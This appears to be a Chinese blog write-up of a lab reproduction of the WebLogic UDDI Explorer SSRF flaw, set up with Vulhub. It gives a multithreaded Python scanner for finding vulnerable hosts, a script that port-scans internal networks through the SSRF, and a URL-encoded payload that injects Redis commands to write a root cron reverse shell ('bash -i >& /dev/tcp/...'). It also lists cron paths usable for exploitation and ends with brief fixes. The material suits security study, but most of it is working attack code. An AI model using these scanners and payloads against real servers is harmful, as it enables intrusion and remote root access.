近期接触到了SSRF的漏洞,就进行了一下本地的复现,利用Vulhub的进行复现,别问,问就是方便,直接docker一键启动,这感觉酸爽!
SSRF(服务器端请求伪造)
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
注释:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。
前提条件:
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制,如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
攻击方式:
-
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
-
攻击运行在内网或本地的应用程序需对内网Web应用进行指纹识别,识别企业内部的资产信息;
-
攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(struts2、SQli等);
-
利用file协议读取本地文件等
数据流:攻击者----->服务器---->目标地址
影响版本:
weblogic 10.0.2 – 10.3.6.0
批量检测Weblogc SSRF漏洞
既然要去复现Weblogc SSRF漏洞那不要提前检验一下是否存在?那这不安排上
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
使用创建一个domain.txt的文件在这个脚本同一目录下,然后py
测试环境搭建
使用vulhub创建环境,然后打开呗,vulhub地址在下面
https://vulhub.org/#/environments/weblogic/ssrf/
docker-compose up -d
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用
漏洞存在于这
**
payload:
http://192.168.214.148:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
**
通过返回状态码,可以看出端口未开放
7000 端口开放
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放、
在未知道payload的前提下,也可以通过burpsuite抓包判断可能存在SSRF漏洞,通过抓包明显可以看见operator在请求一个Url。
利用weblogic这个服务器作为跳板去攻击内网
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)。
疑问?在你不知道内网网段的情况下如何去一步步找到目标的网段了??
在实战的情况下,这个地方会显示网段地址,可以利用脚本批量的跑
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(2)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.214.148:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.20.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
在这里你需要已经知道目标的网段,本次复现不知道的情况下怎么去扫描?解决办法直接 ifconfig 找到网段IP然后脚本跑
检测出了一个Redis服务(6379)
payload:
http://192.168.214.148:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379
注入HTTP头然后利用redis反弹shell
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/IP/端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save ##将反弹shell写入到/etc/crontab
##/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
##/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
编码网站:http://www.jsons.cn/urlencode/
注意编码的时候ip地址要使用内网的地址,同一网段!
我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件test(这里换行为%0A%0D)
payload:http://192.168.214.148:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F210%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0Aaaa
然后去靶机上面监听端口 我的反弹shell不知道为啥半天不反应,有待考究!不成功的原因找到了http://www.manongjc.com/detail/13-gvexrefjseakwqk.htmlUbuntu不行,回头用kali试试
最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
修复
1.删除server/lib/uddiexplorer.war下的相应jsp文件。
#> jar -xvf uddiexplorer.war
#> rm jsp-files
#> jar -cvfM uddiexplorer.war uddiexplorer/
2.配置访问权限,取消对外开放。